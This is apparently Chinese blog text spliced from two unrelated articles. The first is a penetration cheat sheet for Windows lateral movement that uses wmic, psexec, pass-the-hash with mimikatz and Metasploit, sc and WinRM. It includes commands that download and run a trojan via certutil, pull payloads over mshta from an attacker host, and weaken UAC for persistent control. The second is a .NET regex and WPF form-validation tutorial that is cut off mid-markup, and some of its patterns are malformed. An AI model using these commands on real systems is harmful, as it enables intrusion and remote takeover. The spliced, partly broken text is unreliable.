2022年5月

一、远程执行命令方式及对应端口:

 

 IPC$+AT 445
 PSEXEC 445
 WMI 135
 Winrm 5985(HTTP)&5986(HTTPS)

 

 

二、9种远程执行cmd命令的方法:

 

1.WMI执行命令方式,无回显:

wmic /node:192.168.1.158 /user:pt007 /password:admin123  process call create "cmd.exe /c ipconfig>d:\result.txt"

 

2.使用Hash直接登录Windows(HASH传递)

抓取windows hash值,得到administrator的hash:
598DDCE2660D3193AAD3B435B51404EE:2D20D252A479F485CDF5E171D93985BF

msf调用payload:
use exploit/windows/smb/psexec 
show options
set RHOST 192.168.81.129
set SMBPass 598DDCE2660D3193AAD3B435B51404EE:2D20D252A479F485CDF5E171D93985BF
set SMBUser Administrator
show options
run

 

3. mimikatz传递hash方式连接+at计划任务执行命令:

mimikatz.exe privilege::debug "sekurlsa::pth /domain:. /user:administrator /ntlm:2D20D252A479F485CDF5E171D93985BF" //传递hash
dir \\192.168.1.185\c$

 

4.WMIcmd执行命令,有回显:

WMIcmd.exe -h 192.168.1.152 -d hostname -u pt007 -p admin123 -c "ipconfig"

程序下载地址:
https://github.com/nccgroup/WMIcmd/releases

 

5.Cobalt strkie远程执行命令与hash传递攻击:

 

6. psexec.exe远程执行命令

psexec /accepteula //接受许可协议
sc delete psexesvc
psexec \\192.168.1.185 -u pt007 -p admin123 cmd.exe

 

7.psexec.vbs远程执行命令

cscript psexec.vbs 192.168.1.158 pt007 admin123 "ipconfig"

 

8.winrm远程执行命令

 

//肉机上面快速启动winrm服务,并绑定到5985端口:
winrm quickconfig -q
winrm set winrm/config/Client @{TrustedHosts="*"}
netstat -ano|find "5985"
//客户端连接方式:
winrs -r:http://192.168.1.152:5985 -u:pt007 -p:admin123 "whoami /all"
winrs -r:http://192.168.1.152:5985 -u:pt007 -p:admin123 cmd
//UAC问题,修改后,普通管理员登录后也是高权限:
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
winrs -r:http://192.168.1.152:5985 -u:pt007 -p:admin123 "whoami /groups"

 

9.远程命令执行sc

//建立ipc连接(参见net use + at)后上传等待运行的bat或exe程序到目标系统上,创建服务(开启服务时会以system 权限在远程系统上执行程序):

net use \\192.168.17.138\c$ "admin123" /user:pt007
net use
dir \\192.168.17.138\c$
copy test.exe \\192.168.17.138\c$
sc \\192.168.17.138 create test binpath= "c:\test.exe"
sc \\192.168.17.138 start test
sc \\192.168.17.138 del test


以下所有实验均在工作组环境下


psexec

psexec.exe \\ip –accepteula -u username -p password program.exe

psexec.exe \\host -accepteula -u domain\username -p password -d -c

#这里面的账号密码都是被攻击机器的账号密码,ip与host也是被攻击主机的ip与host。

如果是域环境的话,命令为PsExec.exe \\192.168.23.99 -u test\lisi -p 123 -c cmd


获取对方主机的账号密码后且对方开启445端口,可以使用psexec来进行远程命令执行。

psexec \\172.16.99.233 -u administrator -p 123 -c cmd.exe 获取cmdshell

psexec \\172.16.99.233 -u administrator -p 123 -c muma.exe

#这里面的账号密码都是被攻击机器的账号密码,ip与host也是被攻击主机的ip与host。


使172.16.99.233主机执行在172.16.99.235上的muma.exe文件。达到了在远程主机执行本地文件的目的。攻击机器为172.16.99.235,muma.exe这个文件也在172.16.99.235这个主机上,但是通过上面的命令就可以使得这个文件执行在172.16.99.233这个主机上,进而达到远程控制的效果。


当psexec执行失败当时候,可以按住shift右键点击cmd选择以其他用户启动shell,输入高权限用户当凭据即可。如下图:



wmic

方法1:控制远程主机下载并执行文件

wmic /node:172.16.99.233 /user:Administrator /password:123  process call create "cmd /c  certutil.exe -urlcache -split -f http://172.16.99.233/muma.exe c:/windows/temp/putty3.exe & c:/windows/temp/putty3.exe"

1

#这里面的账号密码都是被攻击机器的账号密码,ip与host也是被攻击主机的ip与host。


上述命令的意思是,连接172.16.99.233并创建一个进程,这个进程是使用cmd 执行命令去 http://172.16.99.233/muma.exe下载这个文件,并保存到本地的 c:/windows/temp/putty3.exe并执行。


方法2:复制本地文件到远程主机并控制远程主机执行

copy muma.exe \\172.16.99.233\c$\windows\temp\test.exe  ##IPC拷贝木马文件

wmic /node:172.16.99.233 /user:administrator /password:123 process call create “c:\windows\temp\test.exe”

1

2

#这里面的账号密码都是被攻击机器的账号密码,ip与host也是被攻击主机的ip与host。



winrm服务

winrm是一种服务,通过WSMan协议实现与远程计算机的对话。有3种方式对其进行操作:

经测试,域控主机只能用winrm不能用mshta与wmic上线。且利用winrs命令上线的话shell会卡住。


1.winrm命令

2.winrs命令

3.powershell

1

2

3

windows server自2008开始默认启动winrm服务,默认情况下,WinRM服务后台已经运行,但并不开启监听模式,因此无法接受和发送数据。使用WinRM提供的quickconfig对WinRM进行配置后,Windows将开启监听并打开HTTP及HTTPS监听端口。


1.winrs

当目标开启winrm服务的时候:


winrs -r:yukong -u:test\administrator -p:123 "hostname"

winrs -r:lisi-win10 -u:test\administrator -p:123 "cmd.exe /c mshta http://192.168.124.7:8080/a.png"

winrs -r:lisi-win10 -u:test\administrator -p:123 "wmic os get /format:"http://192.168.124.7:8080/a.xsl""

1

2

3


如果目标没有开启winrm服务,则会报错:




2.winrm

如若当前机器开启了winrm则可查看状态


winrm enumerate winrm/config/listener

1



如果目标主机开启winrm服务,则可使用命令在远程主机执行命令,例如打开calc.exe:


winrm invoke Create wmicimv2/win32_process @{CommandLine="calc.exe"} -r:lisi-win10 -u:test\administrator -p:123

winrm invoke Create wmicimv2/win32_process @{CommandLine="cmd.exe /c mshta http://192.168.124.7:8080/a.png"} -r:lisi-win10 -u:test\administrator -p:123

1

2



可知道程序已被打开,并且pid为4460,但当我登陆被攻击机器的时候发现,程序确实被打开,但是pid不是4460.


我们拿到一台主机后,如果当前主机没有开启winrm服务,我们可以在管理员权限下执行下面的命令来长期开启winrm服务,然后利用其账号密码进行长期控制:


powershell Enable-PSRemoting –force

powershell Set-Service WinRM -StartMode Automatic

1

2

winrm其他命令:


#查看WinRM状态

winrm enumerate winrm/config/listener

 

#开启WinRM远程管理

Enable-PSRemoting –force

 

#设置WinRM自启动

Set-Service WinRM -StartMode Automatic

 

#对WinRM服务进行快速配置,包括开启WinRM和开启防火墙异常检测,默认的5985端口

winrm quickconfig -q

#对WinRM服务进行快速配置,包括开启WinRM和开启防火墙异常检测,HTTPS传输,5986端口

winrm quickconfig -transport:https    

 

#查看WinRM的配置

winrm get winrm/config

 

#查看WinRM的监听器

winrm e winrm/config/listener

 

#为WinRM服务配置认证

winrm set winrm/config/service/auth '@{Basic="true"}'

 

#修改WinRM默认端口

winrm set winrm/config/client/DefaultPorts '@{HTTPS="8888"}'

 

#为WinRM服务配置加密方式为允许非加密:

winrm set winrm/config/service '@{AllowUnencrypted="true"}'

 

#设置只允许指定IP远程连接WinRM

winrm set winrm/config/Client '@{TrustedHosts="192.168.10.*"}'

 

#执行命令

winrm invoke create wmicimv2/win32_process -SkipCAcheck -skipCNcheck '@{commandline="calc.exe"}'

 

#在dc机器上面执行命令并且指定用户名和密码

winrm invoke Create wmicimv2/win32_process @{CommandLine="calc.exe"} -r:dc -u:one\administrator -p:q123456.



3.powershell

Enter-PSSession -computer lisi-win10 #高权限用户可以直接控制低权限用户的主机

————————————————

版权声明:本文为CSDN博主「Shanfenglan7」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。

原文链接:https://blog.csdn.net/qq_41874930/article/details/108245293


目录


第一章、简介


1.1、问题描述


1.2、System.Text.RegularExpressions.Regex.Match介绍


1.2.1、基本规则说明


1.2.2、Regex类常用的方法


1.2.3、Regex类应用举例


1.2.4、正则表达式


第二章、解决方案(WPF Demo)


2.1、WPF Demo


2.2、判断特殊字符(解决AETitle问题)


2.3、判断IP(解决IP地址问题)


2.4、判断端口号(解决端口号问题)


2.5、判断true或false


第三章、实践过程需注意的事项


3.1、验证汉字或中文的正则表达式


第一章、简介

1.1、问题描述

红色矩形的非法输入时,红色椭圆矩形内,会有红色的“*”提示。

IP的地址,一定是192.168.1.0这种类型。

端口号一般在1024~65535范围。

需要用到.net正则表达式大全中的Regex.Match,来判断合法输入与否。详情见1.2小结。

表达式不唯一,比如判断IP输入是否正确的方式,就有很多种。



1.2、System.Text.RegularExpressions.Regex.Match介绍

参考:https://www.cnblogs.com/linJie1930906722/p/6092238.html(已经非常详细,但要自己验证才知道怎么用)


1.2.1、基本规则说明

       正则表达式的本质是使用一系列特殊字符模式,来表示某一类字符串。正则表达式无疑是处理文本最有力的工具,而.NET的System.dll类库提供的System.Text.RegularExpressions.Regex类实现了验证正则表达式的方法。Regex 类表示不可变(只读)的正则表达式。它还包含各种静态方法,允许在不显式创建其他类的实例的情况下使用其他正则表达式类。


正则表达式的字符代表的说明:


字符


说明


\


转义字符,将一个具有特殊功能的字符转义为一个普通字符,或反过来


^


匹配输入字符串的开始位置


$


匹配输入字符串的结束位置


*


匹配前面的零次或多次的子表达式


+


匹配前面的一次或多次的子表达式


?


匹配前面的零次或一次的子表达式


{n}


n是一个非负整数,匹配前面的n的次子表达式


{n,}


n是一个非负整数,至少匹配前面的n的次子表达式


{n,m}


m和n均为非负整数,其中n<=m,最少匹配n次且最多匹配m次


?


当该字符紧跟在其他限制符(*,+,?,{n},{n,},{n,m})后面时,匹配模式尽可能少的匹配所搜索的字符串


.


匹配除”\n”之外的任何单个字符


(pattern)


匹配pattern并获取这一匹配


(?:pattern)


匹配pattern但不获取匹配结果


(?=pattern)


正向预查,在任何匹配pattern的字符串开始处匹配查找字符串


(?!pattern)


负向预查,在任何不匹配pattern的字符串开始处匹配查找字符串


x|y


匹配x或者y。例如,’z|food’能匹配”z”或”food”。’(z|f)ood’ 则匹配’zood’或’food’


[xyz]


字符集合。匹配所包含的任意一个字符。例如:’[abc]’可以匹配”plain”中的’a’


[^xyz]


负值字符集合。匹配为包含的任意字符。例如:’[^abc]’可以匹配”plain”中的’p’


[a-z]


匹配指定范围内的任意字符。例如:’[a-z]’可以匹配’a’到’z’范围内的任意小写字母字符


[^a-z]


匹配不在指定范围内的任意字符。例如:’[^b-z]’可以匹配不在 b~z内的任意字符


\b


匹配一个单词边界,指单词和空格间的位置


\B


匹配非单词边界


\d


匹配一个数字字符,等价于[0-9]


\D


匹配一个非数字字符,等价于[^0-9]


\f


匹配一个换页符


\n


匹配一个换行符


\r


匹配一个回车符


\s


匹配任何空白符,包括空格、制表符、换页符等


\S


匹配任何非空白字符


\t


匹配一个制表符


\v


匹配一个垂直制表符,等价于\x0b和\cK


\w


匹配包括下划线的任何单词字符。等价于’[A-Za-z0-9_]’


\W


匹配任何非单词字符,等价于’[^A-Za-z0-9_]’


注意:

由于在正则表达式中“ \ ”、“ ? ”、“ * ”、“ ^ ”、“ $ ”、“ + ”、“(”、“)”、“ | ”、“ { ”、“ [ ”等字符已经具有一定特殊意义,如果需要用它们的原始意义,则应该对它进行转义,例如希望在字符串中至少有一个“ \ ”,那么正则表达式应该这么写: "\\+"


1.2.2、Regex类常用的方法

(1)、静态Match方法

使用静态Match方法,可以得到源中第一个匹配模式的连续子串。

静态的Match方法有2个重载,分别是:


Regex.Match(string input, string pattern);  //第一种重载的参数表示:输入、模式

Regex.Match(string input, string pattern, RegexOptions options);  //第二种重载的参数表示:输入、模式、RegexOptions枚举的“按位或”组合。

RegexOptions枚举的有效值是:


1、None:指定不设置选项。表示无设置,此枚举项没有意义

2、IgnoreCase:指定不区分大小写的匹配。

3、Multiline:多行模式。更改 ^ 和 $ 的含义,使它们分别在任意一行的行首和行尾匹配,而不仅仅在整个字符串的开头和结尾匹配。表示多行模式,改变元字符^和$的含义,它们可以匹配行的开头和结尾

4、ExplicitCapture:指定有效的捕获仅为形式为 (?<name>...) 的显式命名或编号的组。这使未命名的圆括号可以充当非捕获组,并且不会使表达式的语法 (?:...)显得笨拙。表示只保存显式命名的组

5、Compiled:指定将正则表达式编译为程序集。这会产生更快的执行速度,但会增加启动时间。在调用 System.Text.RegularExpressions.Regex.CompileToAssembly(System.Text.RegularExpressions.RegexCompilationInfo[],System.Reflection.AssemblyName)方法时,不应将此值分配给 System.Text.RegularExpressions.RegexCompilationInfo.Options属性。  

6、Singleline :指定单行模式。更改点 (.) 的含义,使它与每一个字符匹配(而不是与除 \n 之外的每个字符匹配)。表示单行模式,改变元字符.的意义,它可以匹配换行符

7、IgnorePatternWhitespace: 消除模式中的非转义空白并启用由 # 标记的注释。但是,System.Text.RegularExpressions.RegexOptions.IgnorePatternWhitespace值不会影响或消除字符类中的空白。表示去掉模式中的非转义空白,并启用由#标记的注释   

8、RightToLeft:指定搜索从右向左而不是从左向右进行。表示从右向左扫描、匹配,这时,静态的Match方法返回从右向左的第一个匹配

9、ECMAScript: 为表达式启用符合 ECMAScript 的行为。该值只能与 System.Text.RegularExpressions.RegexOptions.IgnoreCase、System.Text.RegularExpressions.RegexOptions.Multiline和 System.Text.RegularExpressions.RegexOptions.Compiled 值一起使用。该值与其他任何值一起使用均将导致异常。表示符合ECMAScript,这个值只能和IgnoreCase、Multiline、Complied连用

10、CultureInvariant: 指定忽略语言中的区域性差异  RegularExpressions Namespace。表示不考虑文化背景

      注意:Multiline在没有ECMAScript的情况下,可以和Singleline连用。Singleline和Multiline不互斥,但是和ECMAScript互斥。


(2)、静态的Matches方法

这个方法的重载形式同静态的Match方法,返回一个MatchCollection,表示输入中,匹配模式的匹配的集合。  

(3)、静态的IsMatch方法

此方法返回一个bool,重载形式同静态的Matches,若输入中匹配模式,返回true,否则返回false。

可以理解为:IsMatch方法,返回Matches方法返回的集合是否为空。


1.2.3、Regex类应用举例

(1)、字符串替换:


//例如我想把如下格式记录中的NAME值修改为YONG

            string line = "ADDR=5449919;NAME=LINJIE;PHONE=45859";

            Regex reg = new Regex("NAME=(.+);");

            string modifiedStr = reg.Replace(line, "NAME=YONG;");

(2)、字符串匹配:


 string line = "ADDR=5449919;NAME=LINJIE;PHONE=45859";

            Regex reg = new Regex("NAME=(.+);");

            //例如我想提取line中的NAME值

            Match match = reg.Match(line);

            string value = match.Groups[1].Value;

            Console.WriteLine("value的值为:{0}", value);

(3)、Match方法的实例


//文本中含有"speed=68.9mph",需要提取该速度值,但是速度的单位可能是公制也可能是英制,mph,km/h,m/s都有可能;另外前后可能有空格。

            string line = "lane=5;speed=68.9mph;acceleration=3.6mph/s";

            Regex reg = new Regex(@"speed\s*=\s*([\d\.]+)\s*(mph|km/h|m/s)*");

            Match match = reg.Match(line);

            //那么在返回的结果中match.Groups[1].Value将含有数值,而match.Groups[2].Value将含有单位。

            var value = match.Groups[1].Value;

            var unit = match.Groups[2].Value;

            Console.WriteLine("speed的值为:{0} speed的单位是:{1}", value, unit);

(4)、解码gps的GPRMC字符串


//就可以获得经度、纬度值

Regex reg = new Regex(@"^\$GPRMC,[\d\.]*,[A|V],(-?[0-9]*\.?[0-9]+),([NS]*),(-?[0-9]*\.?[0-9]+),([EW]*),.*");

(5)、提取[]里面的值


            string pattern = @"(?is)(?<=\[)(.*)(?=\])";

            string result = new Regex(pattern).Match("sadff[我要提取你了]sdfdsf").Value;

(6)、提取()里面的值


            string pattern= @"(?is)(?<=\()(.*)(?=\))";

            string result = new Regex(pattern).Match("sad(我提取到了)dsf").Value;

(7)、提取{}里面的值


 string pattern = @"(?is)(?<=\{)(.*)(?=\})";

string result = new Regex(pattern).Match("sadff[{的d你]srd}sf").Value;

system.Text.RegularExpressions命名空间的说明

该名称空间包括8个类,1个枚举,1个委托。他们分别是: 

Capture: 包含一次匹配的结果;

CaptureCollection: Capture的序列;

Group: 一次组记录的结果,由Capture继承而来;

GroupCollection:表示捕获组的集合

Match: 一次表达式的匹配结果,由Group继承而来;

MatchCollection: Match的一个序列;

MatchEvaluator: 执行替换操作时使用的委托;

RegexCompilationInfo:提供编译器用于将正则表达式编译为独立程序集的信息

RegexOptions 提供用于设置正则表达式的枚举值

Regex类中还包含一些静态的方法:

Escape: 对字符串中的regex中的转义符进行转义;

IsMatch: 如果表达式在字符串中匹配,该方法返回一个布尔值;

Match: 返回Match的实例;

Matches: 返回一系列的Match的方法;

Replace: 用替换字符串替换匹配的表达式;

Split: 返回一系列由表达式决定的字符串;

Unescape:不对字符串中的转义字符转义。

1.2.4、正则表达式

(1)、数字正则表达式


//数字

            Regex reg = new Regex(@"^[0-9]*$");

            //n位的数字

            Regex reg = new Regex(@"^\d{n}$");

            //至少n位的数字

            Regex reg = new Regex(@"^\d{n,}$");

            //m-n位的数字

            Regex reg = new Regex(@"^\d{m,n}$");

            //零和非零开头的数字

            Regex reg = new Regex(@"^(0|[1-9][0-9]*)$");

            //非零开头的最多带两位小数的数字

            Regex reg = new Regex(@"^([1-9][0-9]*)+(.[0-9]{1,2})?$");

            //带1-2位小数的正数或负数

            Regex reg = new Regex(@"^(\-)?\d+(\.\d{1,2})?$");

            //正数、负数、和小数

            Regex reg = new Regex(@"^(\-|\+)?\d+(\.\d+)?$");

            //有两位小数的正实数

            Regex reg = new Regex(@"^[0-9]+(.[0-9]{2})?$");

            //有1~3位小数的正实数

            Regex reg = new Regex(@"^[0-9]+(.[0-9]{1,3})?$");

            //非零的正整数

            Regex reg = new Regex(@"^[1-9]\d*$ 或 ^([1-9][0-9]*){1,3}$ 或 ^\+?[1-9][0-9]*$");

            //非零的负整数

            Regex reg = new Regex(@"^\-[1-9][]0-9″*$ 或 ^-[1-9]\d*$");

            //非负整数

            Regex reg = new Regex(@"^\d+$ 或 ^[1-9]\d*|0$");

            //非正整数

            Regex reg = new Regex(@"^-[1-9]\d*|0$ 或 ^((-\d+)|(0+))$");

            //非负浮点数

            Regex reg = new Regex(@"^\d+(\.\d+)?$ 或 ^[1-9]\d*\.\d*|0\.\d*[1-9]\d*|0?\.0+|0$");

            //非正浮点数

            Regex reg = new Regex(@"^((-\d+(\.\d+)?)|(0+(\.0+)?))$ 或 ^(-([1-9]\d*\.\d*|0\.\d*[1-9]\d*))|0?\.0+|0$");

            //正浮点数

            Regex reg = new Regex(@"^[1-9]\d*\.\d*|0\.\d*[1-9]\d*$ 或 ^(([0-9]+\.[0-9]*[1-9][0-9]*)|([0-9]*[1-9][0-9]*\.[0-9]+)|([0-9]*[1-9][0-9]*))$");

            //负浮点数

            Regex reg = new Regex(@"^-([1-9]\d*\.\d*|0\.\d*[1-9]\d*)$ 或 ^(-(([0-9]+\.[0-9]*[1-9][0-9]*)|([0-9]*[1-9][0-9]*\.[0-9]+)|([0-9]*[1-9][0-9]*)))$");

            //浮点数

            Regex reg = new Regex(@"^(-?\d+)(\.\d+)?$ 或 ^-?([1-9]\d*\.\d*|0\.\d*[1-9]\d*|0?\.0+|0)$");

(2)、普通字符正式表达式


//汉字

            Regex reg = new Regex(@"^[\u4e00-\u9fa5]{0,}$");

            //英文和数字

            Regex reg = new Regex(@"^[A-Za-z0-9]+$ 或 ^[A-Za-z0-9]{4,40}$");

            //长度为3-20的所有字符

            Regex reg = new Regex(@"^.{3,20}$");

            //由26个英文字母组成的字符串

            Regex reg = new Regex(@"^[A-Za-z]+$");

            //由26个大写英文字母组成的字符串

            Regex reg = new Regex(@"^[A-Z]+$");

            //由26个小写英文字母组成的字符串

            Regex reg = new Regex(@"^[a-z]+$");

            //由数字和26个英文字母组成的字符串

            Regex reg = new Regex(@"^[A-Za-z0-9]+$");

            //由数字、26个英文字母或者下划线组成的字符串

            Regex reg = new Regex(@"^\w+$ 或 ^\w{3,20}$");

            //中文、英文、数字包括下划线

            Regex reg = new Regex(@"^[\u4E00-\u9FA5A-Za-z0-9_]+$");

            //中文、英文、数字但不包括下划线等符号

            Regex reg = new Regex(@"^[\u4E00-\u9FA5A-Za-z0-9]+$ 或 ^[\u4E00-\u9FA5A-Za-z0-9]{2,20}$");

            //可以输入含有^%&’,;=?$\”等字符

            Regex reg = new Regex(@"[^%&’,;=?$\x22]+");

            //禁止输入含有~的字符

            Regex reg = new Regex(@"[^~\x22]+");

(3)、特殊字符正则表达式


//Email地址

            Regex reg = new Regex(@"^\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*$");

            //域名

            Regex reg = new Regex(@"[a-zA-Z0-9][-a-zA-Z0-9]{0,62}(/.[a-zA-Z0-9][-a-zA-Z0-9]{0,62})+/.?");

            //InternetURL

            Regex reg = new Regex(@"[a-zA-z]+://[^\s]* 或 ^http://([\w-]+\.)+[\w-]+(/[\w-./?%&=]*)?$");

            //手机号码

            Regex reg = new Regex(@"^(13[0-9]|14[5|7]|15[0|1|2|3|5|6|7|8|9]|18[0|1|2|3|5|6|7|8|9])\d{8}$");

            //电话号码(“XXX-XXXXXXX”、”XXXX-XXXXXXXX”、”XXX-XXXXXXX”、”XXX-XXXXXXXX”、”XXXXXXX”和”XXXXXXXX)

            Regex reg = new Regex(@"^($$\d{3,4}-)|\d{3.4}-)?\d{7,8}$");

            //国内电话号码(0511-4405222、021-87888822)

            Regex reg = new Regex(@"\d{3}-\d{8}|\d{4}-\d{7}");

            //身份证号(15位、18位数字)

            Regex reg = new Regex(@"^\d{15}|\d{18}$");

            //短身份证号码(数字、字母x结尾)

            Regex reg = new Regex(@"^([0-9]){7,18}(x|X)?$ 或 ^\d{8,18}|[0-9x]{8,18}|[0-9X]{8,18}?$");

            //帐号是否合法(字母开头,允许5-16字节,允许字母数字下划线)

            Regex reg = new Regex(@"^[a-zA-Z][a-zA-Z0-9_]{4,15}$");

            //密码(以字母开头,长度在6~18之间,只能包含字母、数字和下划线)

            Regex reg = new Regex(@"^[a-zA-Z]\w{5,17}$");

            //强密码(必须包含大小写字母和数字的组合,不能使用特殊字符,长度在8-10之间)

            Regex reg = new Regex(@"^(?=.*\d)(?=.*[a-z])(?=.*[A-Z]).{8,10}$");

            //日期格式

            Regex reg = new Regex(@"^\d{4}-\d{1,2}-\d{1,2}");

            //一年的12个月(01~09和1~12)

            Regex reg = new Regex(@"^(0?[1-9]|1[0-2])$");

            //一个月的31天(01~09和1~31)

            Regex reg = new Regex(@"^((0?[1-9])|((1|2)[0-9])|30|31)$");

            //钱的输入格式:

            //有四种钱的表示形式我们可以接受:”10000.00″ 和 “10,000.00”, 和没有 “分” 的 “10000” 和 “10,000”

            Regex reg = new Regex(@"^[1-9][0-9]*$");

            //这表示任意一个不以0开头的数字,但是,这也意味着一个字符”0″不通过,所以我们采用下面的形式

            Regex reg = new Regex(@"^(0|[1-9][0-9]*)$");

            //一个0或者一个不以0开头的数字.我们还可以允许开头有一个负号

            Regex reg = new Regex(@"^(0|-?[1-9][0-9]*)$");

            //这表示一个0或者一个可能为负的开头不为0的数字.让用户以0开头好了.把负号的也去掉,因为钱总不能是负的吧.下面我们要加的是说明可能的小数部分

            Regex reg = new Regex(@"^[0-9]+(.[0-9]+)?$");

            //必须说明的是,小数点后面至少应该有1位数,所以”10.”是不通过的,但是 “10” 和 “10.2” 是通过的

            Regex reg = new Regex(@"^[0-9]+(.[0-9]{2})?$");

            //这样我们规定小数点后面必须有两位,如果你认为太苛刻了,可以这样

            Regex reg = new Regex(@"^[0-9]+(.[0-9]{1,2})?$");

            //这样就允许用户只写一位小数。下面我们该考虑数字中的逗号了,我们可以这样

            Regex reg = new Regex(@"^[0-9]{1,3}(,[0-9]{3})*(.[0-9]{1,2})?$");

            //1到3个数字,后面跟着任意个 逗号+3个数字,逗号成为可选,而不是必须

            Regex reg = new Regex(@"^([0-9]+|[0-9]{1,3}(,[0-9]{3})*)(.[0-9]{1,2})?$");

            //备注:这就是最终结果了,别忘了”+”可以用”*”替代。如果你觉得空字符串也可以接受的话(奇怪,为什么?)最后,别忘了在用函数时去掉去掉那个反斜杠,一般的错误都在这里

            //xml文件

            Regex reg = new Regex(@"^([a-zA-Z]+-?)+[a-zA-Z0-9]+\\.[x|X][m|M][l|L]$");

            //中文字符的正则表达式

            Regex reg = new Regex(@"[\u4e00-\u9fa5]");

            //双字节字符

            Regex reg = new Regex(@"[^\x00-\xff] (包括汉字在内,可以用来计算字符串的长度(一个双字节字符长度计2,ASCII字符计1))");

            //空白行的正则表达式,可用来删除空白行

            Regex reg = new Regex(@"\n\s*\r");

            //HTML标记的正则表达式

            Regex reg = new Regex(@"<(\S*?)[^>]*>.*?</\1>|<.*? />");// (网上流传的版本太糟糕,上面这个也仅仅能部分,对于复杂的嵌套标记依旧无能为力)

            //首尾空白字符的正则表达式

            Regex reg = new Regex(@"^\s*|\s*$或(^\s*)|(\s*$)");// (可以用来删除行首行尾的空白字符(包括空格、制表符、换页符等等),非常有用的表达式)

            //腾讯QQ号

            Regex reg = new Regex(@"[1-9][0-9]{4,}"); //(腾讯QQ号从10000开始)

            //中国邮政编码

            Regex reg = new Regex(@"[1-9]\d{5}(?!\d)");// (中国邮政编码为6位数字)

            //IP地址

            Regex reg = new Regex(@"\d+\.\d+\.\d+\.\d+");// (提取IP地址时有用)

            //IP地址

            Regex reg = new Regex(@"((?:(?:25[0-5]|2[0-4]\\d|[01]?\\d?\\d)\\.){3}(?:25[0-5]|2[0-4]\\d|[01]?\\d?\\d))");

第二章、解决方案(WPF Demo)

       既然第一章提供了正则表达式,那么现在就用正则表达式来解决1.1的问题。


2.1、WPF Demo

 自己建一个WPF工程,把这下面的6个文件添加上去即可(忽略其他样式文件吧)。


页面文件——PacsConfig.xaml(Page类型)和PacsConfig.xaml.cs

AETitleVisibilityConverter.cs——判断特殊字符(解决AETitle问题)。

IpVisibilityConverter.cs——判断IP(解决IP地址问题)。

PortVisibilityConverter.cs——判断端口号(解决端口号问题)。

StorageIsStartVisibilityConverter.cs——判断true(1)或false(0)。true则显示“启用”;false则显示“不启用”。

2.1小结中,主要放PacsConfig.xaml(Page类型)和PacsConfig.xaml.cs。

剩下的4个.cs文件,与下面的几个小结一一对应。

 PacsConfig.xaml(用来显示UI):


<Page x:Class="KeenRayLargePC.Views.PacsConfig"

      xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"

      xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"

      xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" 

      xmlns:d="http://schemas.microsoft.com/expression/blend/2008" 

      xmlns:local="clr-namespace:KeenRayLargePC.Views"

      xmlns:converter="clr-namespace:KeenRayLargePC.VisibilityConverter"

      mc:Ignorable="d" 

      d:DesignHeight="964" d:DesignWidth="1844"

      Title="PacsConfig">

 

    <Page.Resources>

        <converter:AETitleVisibilityConverter x:Key="textCheckConverter"/>

        <converter:StorageIsStartVisibilityConverter x:Key="enableConverter"/>

        <converter:PortVisibilityConverter x:Key="portConverter"/>

        <converter:IpVisibilityConverter x:Key="ipConverter"/>

    </Page.Resources>

 

    <Viewbox StretchDirection="Both" Stretch="Fill">

        <Grid Background="#dbdce1" Width="1844" Height="1004">

            <Grid.ColumnDefinitions>

                <ColumnDefinition Width="1*" x:Name="column1"/>

                <ColumnDefinition Width="1*"/>

            </Grid.ColumnDefinitions>

 

            <!--内容-->

            <Canvas Grid.Column="0" Background="#FFF4F4F4" >

                <Border  BorderThickness="1" BorderBrush="#FFA2A2D1" />

                <Label  Content="存储通讯配置" Background="#FFDBDCE1" VerticalAlignment="Center" Width="400"/>

                <TextBox Text="AETitle" Canvas.Left="95" Canvas.Top="56" Height="35" Width="102" Style="{StaticResource CfgTextBoxStyle}" Background="{x:Null}"></TextBox>

                <TextBox Width="444" Height="64" Canvas.Left="267" Canvas.Top="40" VerticalContentAlignment="Center" Name="tbk_StorageAETitle" Text="{Binding StorageAETitle}" Style="{StaticResource TextBoxStyle}" />

                <Label Content="*" Foreground="Red" Canvas.Left="711" Canvas.Top="45" Visibility="{Binding ElementName=tbk_StorageAETitle,Path=Text,Converter={StaticResource textCheckConverter}}" Height="57" Width="38"></Label>

 

                <TextBox Text="IP地址" Canvas.Left="95" Canvas.Top="159" Height="35" Width="89" Style="{StaticResource CfgTextBoxStyle}" Background="{x:Null}"></TextBox>

                <TextBox Width="444" Height="64" Canvas.Left="267" Canvas.Top="143" VerticalContentAlignment="Center" Name="tbk_StorageIP" Text="{Binding StorageIP}" Style="{StaticResource TextBoxStyle}"/>

                <Label Content="*" Foreground="Red" Canvas.Left="711" Canvas.Top="148" Visibility="{Binding ElementName=tbk_StorageIP,Path=Text,Converter={StaticResource ipConverter}}" Height="57" Width="38"></Label>

 

                <TextBox Text="端口号" Canvas.Left="95" Canvas.Top="262" Height="35" Width="92" Style="{StaticResource CfgTextBoxStyle}" Background="{x:Null}"></TextBox>

                <TextBox Width="444" Height="65" Canvas.Left="267" Canvas.Top="246" VerticalContentAlignment="Center" Name="tbk_StoragePort" Text="{Binding StoragePort}" Style="{StaticResource TextBoxStyle}"/>

                <Label Content="{Binding ElementName=tbk_StoragePort,Path=Text,Converter={StaticResource portConverter}}" Foreground="Red" Canvas.Left="711" Canvas.Top="251" Height="57" Width="236"></Label>

 

                <TextBox Text="语法" Canvas.Left="95" Canvas.Top="366" Height="35" Width="62" Style="{StaticResource CfgTextBoxStyle}" Background="{x:Null}"></TextBox>

                <ComboBox Width="444" Height="64" Canvas.Left="267" Canvas.Top="350" VerticalContentAlignment="Center" Style="{StaticResource CfgComboBoxStyle}" IsReadOnly="True" ItemsSource="{Binding StorageGrammar}" SelectedIndex="{Binding StorageGrammarIndex}"/>

 

                <TextBox Text="发送模式" Canvas.Left="95" Canvas.Top="469" Height="35" Width="123" Style="{StaticResource CfgTextBoxStyle}" Background="{x:Null}"></TextBox>

                <ComboBox Width="444" Height="64" Canvas.Left="267" Canvas.Top="453" VerticalContentAlignment="Center" Style="{StaticResource CfgComboBoxStyle}" IsReadOnly="True" ItemsSource="{Binding SendMode}" SelectedIndex="{Binding SendModeIndex}"/>

